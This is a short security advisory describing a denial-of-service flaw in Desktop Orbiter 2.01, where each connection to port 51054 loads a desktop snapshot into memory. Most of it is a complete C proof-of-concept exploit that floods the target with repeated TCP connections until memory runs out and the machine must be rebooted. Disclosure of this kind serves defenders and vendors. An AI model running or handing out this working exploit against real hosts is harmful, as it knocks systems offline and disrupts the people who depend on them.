SUMMARY: Desktop Orbiter (www.anfibia.it) is a client-server application

that allow you to administer and secure your network.

VULNERABILITY

DESCRIPTION: At every connection to port 51054(of the server), a snapshot

preview of the desktop is loaded in memory;

by creating many connections to this port a remote attacker

can fill the virtual memory and flood user with mass errors

messages (like: virtual memory insufficent, exception

error,out of memory and Desktop Orbitter's errors).

The application must be killed to regain normal

functionality of the system, but it's hard to do because any

process can't be executed and right bottom of the mouse

(usefull for kill process) is disallowed by errors messages;

At the end of attack, user must reboot computer.

PLATFORM AFFECTED: Desktop Orbiter 2.01 (prior?)

EXPLOIT:

#include <netdb.h>

#include <sys/types.h>

#include <netinet/in.h>

#include <sys/socket.h>

#include <unistd.h>

#define PORT 51054

int main(int argc, char *argv[]){

int sockfd;

struct hostent *he;

struct sockaddr_in their_addr;

int c;

int n;

char *host = NULL;

int cnt=1;

if(argc < 2 ) {

printf("Usage:%s -h <host>\n",argv[0]);

exit(0);

}

while((n = getopt(argc, argv, "h")) != -1) {

switch(n) {

case 'h':

host = optarg;

break;

default:

printf("Bad Input\n");

exit(0);

}

}

if ((he = gethostbyname(argv[2])) == NULL)

{

herror("gethostbyname");

exit(1);

}

their_addr.sin_family = AF_INET;

their_addr.sin_port = htons(PORT);

their_addr.sin_addr = *((struct in_addr *) he->h_addr);

bzero(&(their_addr.sin_zero), 8);

printf

("\n\n\t\t#########################################################\n");

printf("\t\t# Proof of Concept by Luca Ercoli luca.ercoli (at) inwind (dot) it [email concealed] #\n");

printf("\t\t# Desktop Orbiter 2.01 Denial of Service #\n");

printf

("\t\t#########################################################\n\n");

printf("\nAttacking....\n\a");

if ((sockfd = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP)) == -1)

{

perror("socket");

exit(1);

}

if (connect (sockfd, (struct sockaddr *) &their_addr,sizeof(struct

sockaddr)) == -1)

{

perror("connect");

exit(0);

}

for (c=0;c<99500;c++){

if ((sockfd = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP)) == -1)

{

perror("socket");

exit(1);

}

if (connect (sockfd, (struct sockaddr *) &their_addr,

sizeof(struct sockaddr)) == -1)

{

printf("\n[Attack status] Step %d/25 : Complete!",cnt);

if (cnt == 25) {

printf("\nAttack Complete!\n\n\a");

exit(0);

}

cnt++;

sleep(1);

}

close(sockfd);

}

printf("\n");

return 1;

}

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